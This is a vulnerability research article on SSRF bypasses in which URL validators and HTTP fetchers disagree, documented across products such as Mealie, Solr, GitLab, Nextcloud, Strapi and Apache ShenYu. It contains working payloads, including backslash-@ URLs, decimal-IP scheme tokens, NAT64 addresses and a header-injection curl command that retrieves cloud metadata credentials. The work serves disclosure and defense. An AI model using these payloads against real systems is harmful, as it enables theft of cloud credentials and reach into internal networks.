← xclow3n Poster 09 RESEARCH
09 SSRF Beyond Validation Featured

The Validator Can Lie: SSRF Beyond URL Validation

A URL validator does not validate a request. It validates one representation of a request at one moment. Thirteen language stacks, twelve bug families, and live product cases - changedetection.io reaching IMDS, GitLab discarding its own DNS pin, Mealie approving an A record while the fetcher dialled AAAA.

Contents · 15 sections
  1. 01The wire doesn’t say what the validator said
  2. 02What this measures
  3. 03The lens
  4. 04The families
  5. 05Two parsers, one socket
  6. 06Resolve stage: three different failures
  7. 07One header rewrites the upstream: F8
  8. 08The checked request is not the emitted request
  9. 09Redirects escape the original verdict: F5b
  10. 10Composition
  11. 11Across thirteen audited stacks
  12. 12Defense: the Mastodon pattern, per language
  13. 13Where the blade stopped
  14. 14Prior art and acknowledgements
  15. 15References

The wire doesn’t say what the validator said

A Mealie server tells you it will not fetch internal IPv6 hosts. It says so in code. The guard sits in mealie/pkgs/safehttp/transport.py:

async def handle_async_request(self, request):
    netloc = request.url.netloc.decode()
    if ":" in netloc:
        netloc_parts = netloc.split(":")
        netloc = netloc_parts[0]
        ...
    if not ip:
        ip_str = socket.gethostbyname(netloc)
        ip = ipaddress.ip_address(ip_str)
    if ip.is_private:
        raise InvalidDomainError(...)
    return await super().handle_async_request(request)

Using the unmodified Mealie image in a configured lab network, I gave one hostname two static addresses:

dual.test.   A      8.8.8.8          ; public, passes the guard
dual.test.   AAAA   fd00::beef        ; lab listener on loopback

The lab added fd00::beef/128 to lo and wrote both entries to /etc/hosts. The guard called gethostbyname("dual.test"), got 8.8.8.8, checked is_private, saw False, and returned. The parent transport kept the hostname. libcurl resolved it with getaddrinfo, selected fd00::beef, and delivered the request to the listener. The scrape endpoint returned the listener’s HTML to the caller.

There is no race and no rebinding. The validator and fetcher consumed the same static hostname mapping. They called different resolver interfaces and received different address-family views.

This is a Mealie bug, but the failure shape is not unique to Mealie. The guard validated one address returned by an IPv4-only resolver. The client later made a dual-stack connection decision from the original hostname. Nothing in the application bound the approved address to that connection. The URL parser is only one place where this can happen. Resolution, object mutation, authority construction, and redirect handling can lose the same binding.

What this measures

Before the cases, the shape of the work, because one Mealie bug is not the point of it.

I built a differential oracle for URL handling and ran it across eight languages: sixteen validators against five HTTP clients, 1,855 verdicts, each one checked against what actually went on the wire rather than what a library returned. That produced a set of disagreements. Every disagreement then got a narrower question put to it, which is the only question that matters here: does this survive contact with shipped code?

What came back is a map of twelve families spread across the six handoffs a URL makes between a security check and a socket. Confirmed across thirteen language stacks, and tested against live products.

The contribution is not that the class exists. RFC 9525 §7.4 described this failure in 2023 and OWASP already publishes the mitigations. The contribution is knowing where the binding breaks: which of those six handoffs the specifications leave unbound, which ones hold, and which ones no amount of parser comparison will ever catch.

Evidence carries one grade the whole way through. P means the request ran through a shipped product interface. L means shipping component code ran in a lab. M means mechanism only. Every case states where its proof stops, and the cases that stopped short of a product are in “Where the blade stopped” rather than quietly upgraded.

If you are reading selectively: “The lens” is the idea in three paragraphs, “Across thirteen audited stacks” is the breadth check in one table, and “Where the blade stopped” is the part that says what the method failed to find.

The lens

A URL validator does not validate a request. It validates one representation of a request at one moment. OWASP’s broader SSRF guidance [34] correctly says to inspect IPv4 and IPv6, check A and AAAA, disable redirects, and enforce egress policy. The missing verb is bind: how does the accepted address and authority stay attached to the connection the client opens?

A security check approves one representation of a request, but the client later connects or emits from another representation that is not bound to the first verdict. Sometimes two parsers disagree. Sometimes one resolver returns half the address set. Sometimes the caller drops a validated IP. In each case, the approved destination differs from the destination used on the wire.

       +-------+   +--------+   +----------------+   +---------+
URL ---> parse |-->| object |-->| resolve/select |-->| connect |
       +-------+   +--------+   +----------------+   +---------+
           ^                                            |
           |                                            v
           |       +----------+   +------+   +---------------+
           +-------| response |<--| emit |<--| TLS identity* |
             3xx   +----------+   +------+   +---------------+

* HTTPS only

The stages are not always separate libraries. Resolution can also consume SVCB or HTTPS records. Alt-Svc can select another endpoint before connect. For an https URI, TLS still authenticates the original origin. Authority emission writes :authority, Host, and :path; a response can send a new URL back to parse. Ask what state carries the security verdict across each handoff.

The disagreement at the first box is old and well-mapped. Pick a URL, find the two parsers an application runs it through, and diff what each one calls the host. This piece runs the same question after parsing: object build, resolution, TLS identity, authority emission, and routing. Some failures use behavior a specification permits. Some use invalid-input recovery, an unsafe API, or plain implementation nonconformance. The specifications do not authorize the whole class. They also do not bind an application’s validation result to the socket a client eventually opens.

The parser cases below establish the lineage. The new spine is downstream: Mealie checks A and dials AAAA; GitLab computes a DNS pin and throws it away; ShenYu selects a configured upstream and mutates it from a header; NAT64 can carry an approved IPv6 connection to a private IPv4 destination; Node emits different ASCII from Unicode a caller validated; redirects re-enter only part of a guard. Different stages, one failure: the verdict never reached the wire.

Five production conditions put those downstream stages within reach:

RFC 9525, the current TLS server-identity standard, gives one precise example in §7.4 [32]:

The textual representation of an IPv4 address might be misinterpreted as
a valid FQDN in some contexts. This can result in different security
treatment that might cause different components of a system to classify
the value differently ... in which one component enforces a security
rule that is conditional on the type of identifier but misclassifies an
IP address as an FQDN, whereas a second component correctly classifies
the identifier but incorrectly assumes that rules regarding IP addresses
have been enforced by the first component.

One component enforces, a second assumes the first did. RFC 3986 [1] had already warned about inconsistent syntax components and numeric-IP filtering in §7.3 and §7.4. RFC 9525 does not define the composition model used later in this article. Its example is a useful instance of the same handoff failure. The sections below test each handoff.

The families

This article uses ten numbered families, named by the stage where they occur. F5 has two subtypes. Each is a place where an application can lose the binding between a check and the request. Some disagreements are permitted choices. Others are invalid-input recovery or implementation bugs. The sections that follow state which kind each finding is and what reached the wire.

What the findings are for

I did most of the hunting in a week off in May 2026. The lens was already written down, so the week was about finding out how much of it held up against shipped code. It went fast because the question was narrow. The rest took months, and most of that was not up to me: reporting, waiting on triage, waiting on patches, checking the fixes.

The cases below are here to test the idea, not to count scalps. Some were reported and fixed, some carry a CVE, some came back duplicate, some were closed as won’t-fix, and some I never reported, because the impact was bounded by an API key or a MITM position and did not clear the bar. None of that changes what they show.

The disposition of a report says something about one vendor’s triage queue. It says nothing about whether the shape is real. A finding a vendor declined still shows a validator and a fetcher reading the same bytes differently, and a finding that earned a CVE proves nothing extra about the lens.

So each case is here for one reason: it demonstrates a handoff, and it states plainly what reached the wire. Where a mechanism never reached a product at all, it is in “Where the blade stopped” instead, and says so.

stage           family   the disagreement
-----------------------------------------------------------------
parse           F1       authority boundary: \, @, scheme regex
parse/classify  F4       parsers disagree whether the host is an IP
resolve         F2       validator and client use different resolver views
                F11      validator resolves the pin, caller drops it
                F12      destination classes or embeddings are missing
object-build    F8       selected object mutated before it is emitted
authority-emit  F6       caller-supplied Host overrides the URL
                F7       H/2 :authority is not the URL host
route           F5       request routing changes after validation
                F5a      path normalizes after the check
                F5b      redirect target is not re-checked

F9 sits at the parse/emit boundary. It is a charset narrowing that manufactures wire bytes the caller did not validate. The labels retain the working corpus’s numbering: F3 is IDN drift and F10 was dropped.

Evidence has one grade. P means the request ran through a shipped product interface. L means shipping component code or its exact decision path ran in a lab, but not through the full product transaction. M means mechanism or classifier only. Configuration requirements are stated separately. Each substantive case also states where the proof stops: classifier, dial, HTTP request, or response body. A composition claim needs the composed request on the wire. Two separately confirmed legs do not establish it.

Counts and exclusivity claims in this article are scoped to the audited corpus and the paths exercised. “Thirteen stacks” means the thirteen matrix columns in §10; “one composition” means one wire-confirmed across the product paths exercised here. A - in the matrix or an unconfirmed pairing means not observed here, not impossible elsewhere.

Two parsers, one socket

The authority boundary is the oldest seam and still the busiest. F1 is U in all thirteen audited stack columns in §10. Two findings use it directly.

changedetection.io: backslash-@ to live IMDS

RFC 9110 §4.2.4 [2] deprecates user@host and says a recipient SHOULD treat its presence as an error. That does not authorize this payload. RFC 3986 does not permit a literal backslash in userinfo or host syntax. The finding is an invalid-input recovery differential: changedetection.io runs three parsers on the same string, and they recover three different authorities.

payload                                       gate_sees      fetch_dials
--------------------------------------------------------------------------
http://169.254.169.254:80\@example.com/       example.com    169.254.169.254
http://10.89.0.50:80\@example.com/            example.com    10.89.0.50

In order along the request path:

The guard and the fetcher are not the same parser. On a live EC2 instance, with a watch’s attacker-chosen method and headers, the full IMDSv2 flow runs and the instance ID lands back as stored watch content:

[watch 1] PUT 169.254.169.254/latest/api/token
          -> IMDSv2 token, 56 chars, AQAEAO...
[watch 2] GET 169.254.169.254/latest/meta-data/instance-id
          -> i-0fcdb766aa5062aa5

This is P evidence at response-body depth through the shipped watch path. Default Docker image, unauthenticated. The important point is the third parser: it is a third-party library imported specifically to validate URLs, and it is the one that accepts the backslash-port form. The 2026 patch (CVE-2026-27696 [26]) added is_private_hostname at fetch time and on every redirect hop. It wired the check to urlparse(url).hostname, the same parser the disagreement is about. The right check, in the wrong parser. Validate the bytes the fetcher dials: urllib3.util.parse_url(url).host.

Apache Solr: two scheme regexes, one project

RFC 3986 §3.1 defines one scheme grammar:

ALPHA *( ALPHA / DIGIT / "+" / "-" / "." )

Write that grammar twice, in two regexes, and the two spellings disagree about what counts as a scheme. Solr writes it twice.

The shards query parameter lists the shard URLs a node fans a search out to. It is attacker-supplied, so Solr runs it through AllowListUrlChecker, the guard added for CVE-2017-3164 [12] and CVE-2021-27905; in SolrCloud it is on with no configuration, the live-node set as its allow-list. The guard derives host:port from each URL with one regex.

solr/core/src/java/org/apache/solr/security/AllowListUrlChecker.java

private static final Pattern PROTOCOL_PATTERN = Pattern.compile("(\\w+)(://.*)");

if (protocolMatcher.matches()) {
  if (!protocolMatcher.group(1).startsWith("http")) {
    url = "http" + protocolMatcher.group(2);   // rewrite non-http scheme
  }
  u = URI.create(url);
}

\w is [A-Za-z0-9_], so a run of digits or uppercase letters before :// is a scheme. For 2130706433://realnode:8983/solr/test the guard rewrites to http://realnode:8983/solr/test, and java.net.URI reports host=realnode, port=8983. That is a real live node, so it is approved.

The fetcher decides whether a URL already has a scheme with a different regex.

solr/solrj/src/java/org/apache/solr/common/util/URLUtil.java

public static final Pattern URL_PREFIX = Pattern.compile("^([a-z]*?://).*");

HttpShardHandlerFactory.java

private String buildUrl(String url) {
  if (!URLUtil.hasScheme(url)) {                       // URL_PREFIX, lowercase-only
    return (StrUtils.isNullOrEmpty(scheme) ? DEFAULT_SCHEME : scheme) + "://" + url;
  }
  ...
}

URL_PREFIX is [a-z]*?, lowercase only. 2130706433://... does not match, so hasScheme returns false, so buildUrl prepends http:// and produces http://2130706433://realnode:8983/solr/test. RFC 2396 permits the port production to contain zero digits, so the authority 2130706433: parses as host=2130706433, and the JVM resolver reads a bare decimal as IPv4: 2130706433 is 127.0.0.1. The guard saw realnode:8983; the fetcher dials loopback.

On Solr’s own loopback netns, negative controls confirmed that the plain spellings 127.0.0.1 and localhost were rejected 403. The bypass payload landed its real request:

>>>>> SSRF HIT (HTTP/2) from ('127.0.0.1', 47874)
   :method: POST
   :authority: 2130706433:80
   :scheme: http
   :path: //172.22.0.2:8983/solr/test/select
   user-agent: Solr[org.apache.solr.client.solrj.impl.Http2SolrClient] 9.9.0

Http2SolrClient opened an h2c connection to 127.0.0.1:80 and sent :authority: 2130706433:80. 0:// reaches 0.0.0.0; 2852039166:// is 169.254.169.254; LOCALHOST:// is loopback by name. The bound is real and stated: the dialed host is a single \w+ token (no dots, no hyphens), and the port is forced to the scheme default. A 215-token fuzz produced 100 host substitutions and zero port wins. The response returns only through Solr’s error channel, so this is connection-level and semi-blind, not an arbitrary-request primitive. The guard, though, is fully bypassed: Http2SolrClient.createHttpClient sets setFollowRedirects(false) (Http2SolrClient.java:304), Jetty 10 ignores Alt-Svc and has no ORIGIN frame, so the scheme-regex split is the entire reach. Nothing downstream extends it.

This is P evidence at HTTP-request depth through Solr’s shipped shards path. Response content is limited to Solr’s error handling.

The two parsers are not from separate libraries. They are in two Solr files, AllowListUrlChecker and URLUtil, doing the same job without sharing a scheme grammar. One treats the token as a scheme. The other treats it as a hostname. The mismatch is the Solr bug.

The fix is one shared scheme definition both parseHostPort and buildUrl consume, or validation of the exact fetch URL rather than the raw token.

F4, brackets make the check disappear

tuwunel’s preview guard feeds one parser’s host serialization into another IP parser:

if let Ok(ip) = IPAddress::parse(
    url.host_str().expect("URL previously validated"))
    && !self.services.client.valid_cidr_range(&ip)
{
    return Err!(Request(Forbidden(
        "Requesting from this address is forbidden")));
}

The WHATWG url crate [11] returns bracketed IPv6 text such as [::1]. ipaddress::IPAddress::parse rejects the brackets. if let Ok turns that error into “skip the check.” Hostnames skip it too. The later client uses ordinary DNS with no validating resolver.

On the shipped tuwunel v1.7.0 path, private IPv6 literals produced connection errors rather than the guard’s M_FORBIDDEN, proving the pre-check was skipped and the dial attempted. A remote-address check runs after send(); it can discard the response, not unsend the request. Proof: P, dial depth, configured preview feature, authenticated Matrix user.

A separate og:image subfetch has no IP check and did store a private response as downloadable MXC media. That is a response-body SSRF, but it is not F4 and does not upgrade the bracketed-IPv6 proof.

Resolve stage: three different failures

The resolver boundary contains three bugs that look alike from a packet capture and require different fixes:

family   what the guard loses
-----------------------------------------------------------------
F2       part of the address set: A is checked, AAAA is dialed
F11      time: a checked address is discarded and DNS runs again
F12      policy: the checked address itself is misclassified

F2 needs no race. F11 is the rebinding window. F12 survives perfect pinning. Keep those three sentences in mind; they are the whole section.

F2, half the address set

getaddrinfo(AF_UNSPEC) can return both families. gethostbyname cannot. A guard that asks the second question and a client that asks the first do not validate the same candidate set.

The opening Mealie trace is the clean product proof. On the shipped v3.18.0 image, safehttp calls socket.gethostbyname, approves the public A, and returns the unchanged hostname to a curl-backed transport. With one static name mapped to A 8.8.8.8 and AAAA fd00::beef, libcurl selected the ULA and the scrape API returned the listener’s HTML. The ULA was assigned to loopback in the lab; the endpoint was POST /api/recipes/test-scrape-url. No domain, TTL trick, or rebinding was involved.

validator candidates = { 8.8.8.8 }
fetcher candidates   = { 8.8.8.8, fd00::beef }
connected address    = fd00::beef

Proof: P, response-body depth, ordinary authenticated account, configured dual-stack reach. The guard was added after CVE-2024-31991 and CVE-2024-31993 [27]; the bug is in the replacement guard, not the old absence.

Firefly III has the same component shape:

// app/Rules/Webhook/IsValidWebhookUrl.php:23
$resolved = gethostbyname(parse_url($value, PHP_URL_HOST));

The fetcher is Guzzle’s curl handler. In the matching PHP/curl environment, a static public A plus AAAA ::1 passed the copied shipping rule and returned the loopback listener’s body through cURL. The full Laravel webhook transaction was not run, and the recorded configuration also admitted a direct RFC 1918 target. Proof: L, response-body depth. It confirms the resolver split, but Mealie is the guarded product finding.

This subtype can arise when a guard uses PHP gethostbyname, Python socket.gethostbyname, Node resolve4, Go ip4 resolution, or BEAM :inet.getaddr before a dual-stack client, then fails to bind the checked address to the dial. Craft CMS [25] is published prior art. The test is not “did I resolve first?” It is “can the socket use an address I did not check?”

F11, the pin that GitLab throws away

GitLab’s URL blocker was written to close the time axis. It resolves, classifies, and returns a structured result whose hostname is the IP the caller must dial:

# lib/gitlab/http_v2/url_blocker.rb:16
# Result stores the validation result:
# uri - The original URI requested
# hostname - The hostname that should be used to connect. For DNS
#   rebinding protection, this will be the resolved IP address.

The main Gitlab::HTTP path consumes that result, sets a hostname override, and preserves the original name for SNI. The Octokit path does not. Gitlab::Octokit::UrlValidation is installed in Faraday process-wide:

# lib/gitlab/octokit/url_validation.rb
def call(env)
  Gitlab::HTTP_V2::UrlBlocker.validate!(env[:url],
    schemes: %w[http https],
    allow_localhost: allow_local_requests?,
    allow_local_network: allow_local_requests?,
    dns_rebind_protection: dns_rebind_protection?,
    ...
  )
  @app.call(env)
end

The return value disappears. env[:url] still contains the hostname, and Faraday’s net_http adapter resolves it again at TCPSocket.open. A deterministic DNS server made the lost binding visible on the unmodified gitlab/gitlab-ce:18.11.3-ce.0 image:

A#1 rebind.test -> 203.0.113.10   validate_context: passes
A#2 rebind.test -> 203.0.113.10   middleware validate!: passes
A#3 rebind.test -> 172.30.0.3     TCPSocket.open: internal

The real POST /api/v4/import/github transaction then put this on the private listener:

GET /api/v3/repositories/12345 HTTP/1.1
Accept: application/vnd.github.v3+json
User-Agent: Octokit Ruby Gem 9.2.0
Authorization: token ghp_fake_attacker_token
Host: rebind.test

Both checks made the correct decision about the public answer. The caller discarded the object that carried that decision. Default dns_rebinding_protection_enabled = true makes GitLab compute the pin; it cannot make Octokit use it.

Any authenticated user allowed to import into their own namespace can reach the path. The request carries the attacker’s PAT and uses a fixed GitHub API path. Compatible JSON can be read; arbitrary services degrade to a connection/error/timing oracle and fixed-path GET actions. A separate component test reached IMDS in 3 of 60 attempts, but the product importer cannot choose that metadata path and no IMDS body claim is made.

Proof: P, HTTP-request depth. The fix is not another DNS check. Make the return type impossible to ignore and dial result.hostname. Go DialContext, .NET ConnectCallback, and equivalent hooks exist for the same reason; public sibling fixes include Prefect, FastGPT [15], and AutoGPT [16].

F12, when “public” is the wrong policy answer

A complete resolver and a perfect pin still fail if the classifier omits a reachable destination. Two subtypes matter:

The second sentence needs discipline. NAT64 and SIIT map destinations only when the matching prefix, translator, and route exist [8][9]. In 6to4 the embedded IPv4 names a border router or site prefix [41]. Teredo carries server and client/NAT metadata. Deprecated IPv4-compatible addresses are not magic NAT64 aliases [42]. A classifier pass proves a policy gap; an access log behind the translator proves delivery. The 2026 advisory cluster [19]-[24] and Symfony [33] document the family. The cases below state which one they prove.

NAT64: a correct pin around the wrong classifier. Bitwarden Icons v2026.4.2 is the sharpest example because its transport does almost everything right. SsrfProtectionHandler resolves every answer, checks it, rewrites RequestUri to the chosen IP literal, and preserves the original host separately. DNS rebinding is closed. The IPv6 predicate is not:

// src/Core/Utilities/IPAddressExtensions.cs:18
if (ip.AddressFamily == AddressFamily.InterNetworkV6)
{
    return ipString.StartsWith("fc") || ipString.StartsWith("fd") ||
           ipString.StartsWith("fe") || ipString.StartsWith("ff");
}

That catches ULA, link-local, and multicast. It misses the well-known NAT64 prefix 64:ff9b::/96 and operator-selected prefixes outside those textual starts. On AWS, a route for 64:ff9b::/96 pointed through a NAT Gateway. The public GET /change-password-uri?uri=... endpoint received:

http://[64:ff9b::a63:1e2a]/

The low 32 bits are 10.99.30.42. The guard logged no block, the gateway translated, and the private listener recorded:

10.99.10.105 - - "GET /.well-known/... HTTP/1.1" 404

10.99.10.105 was the NAT Gateway’s private address. The body is not returned by this endpoint, so the primitive is blind host/port reach, not exfiltration. Link-local IMDS did not route through the gateway and IPv6 IMDS at fd00:ec2::254 was caught by fd. Proof: P, HTTP-request depth, configured AWS NAT64 route.

Nextcloud 33.0.3 turns the same class into a read. Its IpAddressClassifier asks mlocati/ip-lib 1.22.0 to turn IPv6 into IPv4:

// lib/private/Net/IpAddressClassifier.php
if ($parsedIp instanceof IPv6) {
    $ip = (string)($parsedIp->toIPv4() ?? $parsedIp);
}

The helper extracts IPv4 from 6to4 and ::ffff:0:0/96, but not NAT64 or SIIT. DnsPinMiddleware therefore resolves, approves, and pins the wrong policy answer with CURLOPT_RESOLVE. Through a configured TAYGA network-specific prefix, an attacker AAAA record mapped to private 10.144.0.2. The unauthenticated public endpoint returned the internal OpenGraph data:

POST /ocs/v2.php/references/resolvePublic

"richObject":{"name":"Directory listing for /", ...},
"accessible":true

sentinel: 10.144.0.3 - - "GET / HTTP/1.1" 200

The endpoint discards its sharing token and carries an anonymous rate limit of 10 requests per 120 seconds. Proof: P, response-body depth, configured NAT64. Other accepted transition forms in the report remain classifier results; only the NAT64 form has this routed product proof.

ThingsBoard confirms the same mechanism in Java. With its opt-in SSRF_PROTECTION_ENABLED=true, both the initial guard and SsrfSafeAddressResolverGroup use isBlockedAddress. That predicate catches Java’s local/site-local/link-local values and fc00::/7 but misses NAT64. A real TAYGA gateway translated 2001:db8:64::a83:2 to 10.131.0.2, whose listener recorded GET /r3-attack. The guard defaults off and the full ThingsBoard transaction was not run. Proof: L, HTTP-request depth, configured NAT64.

Managed NAT64 makes these more than laboratory address trivia. AWS documents the well-known prefix to same-VPC, connected, on-premises, and internet routes; GCP Private NAT64 can apply private VPC routes [37][38]. Translating the well-known prefix to non-global IPv4 falls outside RFC 6052 §3.1, but it is deployed infrastructure. Without that configured route, the same input is only a classifier pass.

CGNAT and ordinary omissions. The other subtype needs no translator. It still needs a route to 100.64.0.0/10. All three PoCs below used a custom 100.64.0.0/24 Docker bridge; the application configuration and missing range were otherwise default.

Strapi’s unstable_uploadFromUrls route is not gated by its name. An Editor/Author with plugin::upload.assets.create can reach it. The guard is exactly the subnets placed in a Node net.BlockList:

127.0.0.0/8       10.0.0.0/8        172.16.0.0/12
192.168.0.0/16    169.254.0.0/16     ::1/128
fc00::/7           fe80::/10

CGNAT and bare 0.0.0.0 are absent. The import fetched http://100.64.0.2/internal-secret-api, stored the answer as a media asset, and made the bytes downloadable:

POST {"urls":["http://100.64.0.2/internal-secret-api"]}
  -> file:complete {url:"/uploads/internal_secret_api_<hash>.txt"}

GET /uploads/internal_secret_api_<hash>.txt
  -> {"internal-only":true,"aws_secret_key":"CGNAT-..."}

On Linux, 0.0.0.0:1337 also reached Strapi’s own listener. The metadata IP was correctly blocked. Proof: P, raw response-body depth, authenticated panel role.

Lemmy and Directus widen the same lesson without changing the technique:

product    guard omission                         returned
-----------------------------------------------------------------------
Lemmy      Rust is_private(): no 100.64/10        parsed OpenGraph
Directus   own interfaces + exact IMDS IP only    status, headers, body

Lemmy’s site_metadata endpoint requires any logged-in local user, not an admin; the internal title and description returned. Directus Flows requires an admin token; its default denylist also misses sibling RFC 1918 hosts, so this is a broad policy omission rather than an address-family trick. Both are P at response-body depth on the configured CGNAT bridge.

One syntax-coverage case belongs here too. Nextcloud’s RemoteHostValidator computes the TLD after the final dot, so foo.local. has an empty TLD; anchored IP regexes likewise reject 169.254.169.254. as “not an IP.” Docker’s resolver removed the root-label dot. HTTP clients were saved by DnsPinMiddleware, but Mail’s IMAP, SMTP, and Sieve sockets call stream_socket_client directly. The shipping validator plus socket connected to localhost. and private trailing-dot names. Resolver behavior is deployment-dependent and no Mail account transaction was run. Proof: L, connection depth.

F12 is the reminder pinning cannot carry: the address on the socket can be exactly the address the guard approved and still violate the deployment’s policy. A fixed “private IP” list is not enough. The classifier must know the direct ranges and translation prefixes this host can actually route.

One header rewrites the upstream: F8

RFC 3986 defines URI syntax and comparison. It does not define the lifecycle of an application’s mutable URL object. A setter can change an authority without violating URI syntax, but that does not preserve the application’s security invariant. If validation covered object A and the fetch uses mutated object B, the verdict no longer covers the request.

Apache ShenYu is the first F8 product finding in this set. The authority is selected from operator configuration, an attacker-reachable setter overwrites it, and the emit path dials the mutation without enforcing the configured upstream policy again.

ShenYu is an API gateway; its divide plugin is the core HTTP reverse proxy. The operator chooses the upstream through selectors, load balancing, service discovery, and health checks. The client chooses only the route, meaning the path. DividePlugin.doExecute runs the load balancer over the route’s configured upstream pool, producing a selected Upstream. Then it reads a request header and overwrites it.

shenyu-plugin-divide/.../DividePlugin.java:104-113

  Upstream upstream = LoadbalancerUtils.getForExchange(
      upstreamList, ruleHandle.getLoadBalance(), exchange);
  ...
  List<String> specifyDomains =
      exchange.getRequest().getHeaders().get(Constants.SPECIFY_DOMAIN);
  if (CollectionUtils.isNotEmpty(specifyDomains)) {
      upstream.setUrl(specifyDomains.get(0));   // attacker value, no check
  }
  String domain = upstream.buildDomain();
  exchange.getAttributes().put(Constants.HTTP_DOMAIN, domain);

Constants.SPECIFY_DOMAIN is the literal string specify-domain, and the header value is written onto the selected Upstream with no host classification, no allowlist, no SSRF guard. buildDomain() then concatenates a scheme onto the now-attacker-supplied URL and emits it.

shenyu-loadbalancer/.../entity/Upstream.java:471-476

  public String buildDomain() {
      String protocol = this.getProtocol();
      if (StringUtils.isBlank(protocol)) { protocol = "http://"; }
      return protocol
          + Optional.ofNullable(this.getUrl()).map(String::trim).orElse(null);
  }

The mutated authority flows to the fetcher unchanged. URIPlugin re-parses it with UriComponentsBuilder and the WebClient dials it.

shenyu-plugin-uri/.../URIPlugin.java:38-43

  String domain = exchange.getAttribute(Constants.HTTP_DOMAIN);
  final URI uri = RequestUrlUtils.buildRequestUri(exchange, domain);
  exchange.getAttributes().put(Constants.HTTP_URI, uri);

ShenYu selects from the configured upstream pool, but it dials the specify-domain value. Those are two different authorities. The load balancer’s choice is overwritten in place by data from the request, and nothing between the setter and the socket re-checks it. The override is unconditional: no authentication, no enable flag, and no allowlist. specify-domain is an undocumented per-request override.

On an EC2 instance running Amazon Linux 2023, with a default divide route fronting a local backend, the control request takes the configured path and the same request plus one header takes the fetch to IMDSv1:

# CONTROL  - no header: the gateway proxies its configured backend
$ curl http://<gw>/latest/meta-data/instance-id
BACKEND-OK

# ATTACK   - one header redirects the server-side fetch to 169.254.169.254
$ curl http://<gw>/latest/meta-data/instance-id \
       -H 'specify-domain: 169.254.169.254'
i-06048838416bd5003

$ curl http://<gw>/latest/meta-data/iam/security-credentials/<role> \
       -H 'specify-domain: 169.254.169.254'
{
  "Code" : "Success",
  "AccessKeyId" : "ASIA................",
  "SecretAccessKey" : "....redacted....",
  "Token" : "....redacted....",
  "Expiration" : "2026-06-10T14:15:41Z"
}

The control proves the gateway does not itself expose IMDS. Adding the header changes the upstream and returns live STS credentials without authentication to the caller. The IMDS test was against an IMDSv1-reachable instance. A plain GET SSRF cannot perform the IMDSv2 token handshake, so an IMDSv2-only instance closes the metadata path, but RFC 1918, RFC 6598, and internal host:port reach is unaffected. The local differential is the structural proof: a route configured only for legit-upstream:8080 received only the baseline request. The internal-victim container had no published port, was reachable only on the internal network, and appeared in no route. It logged GET /proxy/ping Host=internal-victim and returned its body to the client, the two requests differing solely by the header.

The ShenYu defect is direct: request data overwrites the selected upstream after routing, and the new authority is fetched without another policy check. This is P evidence at response-body depth. F8 does not appear in the §10 matrix because that matrix records cross-library disagreements, while this result depends on an application object lifecycle.

The checked request is not the emitted request

The socket target is only one identity. HTTP/1 adds Host. HTTP/2 adds :authority, :scheme, and :path as independent fields. HTTPS can add SNI and a certificate reference name. A guard can approve the dial and still lose the request at emission.

Trust state and Host state

XWiki is the stranger case, so it goes first. Its forwarded-host input does not become the outbound Host. It writes the validator’s allowlist before that same validator reads it.

DefaultURLSecurityManager.java:143-173:

public boolean isDomainTrusted(URL urlToCheck) {
    if (this.urlConfiguration.isTrustedDomainsEnabled()) {
        maybeInitializeWithDomain(this.getCurrentDomain());  // writes
        String host = urlToCheck.getHost();
        do {
            if (trustedDomains.contains(host)) {              // reads
                return true;
            } ...

getCurrentDomain() trusts Forwarded and X-Forwarded-Host without checking that the sender is a trusted proxy:

String forwarded = request.getHeader(HEADER_FORWARDED);
if (StringUtils.isNotEmpty(forwarded)) {
    ForwardedHeader h = new ForwardedHeader(forwarded);
    if (h.getHost() != null) {
        builder.append(h.getHost());
        return;
    }
}
String proxyHost = getFirstHeaderValue(request, HEADER_X_FORWARDED_HOST);
if (proxyHost != null) {
    builder.append(proxyHost);
    return;
}

One request can therefore add H and ask whether http://H/... is trusted. The set is process-wide and survives until restart. On xwiki:18.3.0-postgres-tomcat, the same URL changed from blocked to redirect with one header:

GET /bin/redirect/Main/WebHome?xredirect=http://attacker.example/phish

no header:
  HTTP/1.1 200

X-Forwarded-Host: attacker.example
  HTTP/1.1 302
  Location: http://attacker.example/phish

An unpoisoned hostname remained blocked. The write is selective, not a global guard disable.

The HTML-diff image downloader turns the same trust write into SSRF. A low-privilege editor puts internal images in two revisions and requests the diff with X-Forwarded-Host: internal-svc:

INTERNAL-SVC HIT: GET /img-v1.png  Host=internal-svc:8000
INTERNAL-SVC HIT: GET /img-v2.png  Host=internal-svc:8000

The bytes are buffered but not returned by the diff, so this sink is blind. Proof: P; unauthenticated response-depth open redirect, authenticated HTTP-request-depth SSRF. This is state-poison, not F6.

n8n is the direct F6 shape. With N8N_SSRF_PROTECTION_ENABLED=true, its HTTP Request node resolves, checks, pins, and revalidates redirects. The flag defaults off. The V3 node also accepts arbitrary headers, and parseRequestObject copies them into axios:

axiosConfig.headers = requestObject.headers as AxiosHeaders;

Axios passes a custom host into node:http, which emits it instead of the URL authority. On the shipped n8n image (CLI 2.21.7):

validated URL / dial: 172.31.0.20:9999
wire Host:           evil.internal.k8s.svc
execution:           success

Removing the lab allowlist entry made the same workflow fail at the SSRF guard. The proof is the split, not an internal backend: the TCP connection still lands on the approved IP. Exploitation needs an ingress, ALB, nginx vhost, or service mesh there that routes by Host. Proof: P, HTTP-request depth, logged-in workflow author, guard enabled.

F7, no guarded product in this audit

RFC 9113 §8.3.1 [3] is not ambiguous: a direct H/2 client must use :authority, must not send a differing Host, and a server should reject the mismatch. The seam is an API, not permission from the RFC. Netty, node:http2, nghttp2, Swift NIO, Haskell http2, and BEAM can accept pseudo-fields separately from a URL object; valid alternate authority or path bytes reach the wire.

The product hunt required one process to expose a destination allowlist, attacker control of a direct :authority or :path, and no field check. SonarQube, NiFi InvokeHTTP, Keycloak CIMD, and Spring Cloud Gateway did not assemble those conditions. Apache HttpClient’s setAuthority() moves routing and wire together. JDK HttpClient restricts Host by default. F7 is a cross-stack primitive with no guarded product finding in this audit.

F9, Unicode in; ASCII on the wire

A caller validates a JavaScript string; node:http2 serializes a different byte string. In src/node_http_common-inl.h:42 (Node v26.1.0), NgHeaders<T>::NgHeaders writes the assembled name/value blob as LATIN1:

StringBytes::Write(env->isolate(),
                   header_contents,
                   header_string_len,
                   header_string.As<v8::String>(),
                   LATIN1);

LATIN1 keeps the low byte of each UTF-16 code unit. U+0100 narrows to NUL and is rejected. Accepted codepoints above it can manufacture ASCII:

U+0140 ŀ -> 40 @       U+012F į -> 2f /
U+013F Ŀ -> 3f ?       U+015C Ŝ -> 5c \
U+013A ĺ -> 3a :

Letters work too:

ť U+0165 -> 65 e       Ŷ U+0176 -> 76 v
ũ U+0169 -> 69 i       Ŭ U+016C -> 6c l

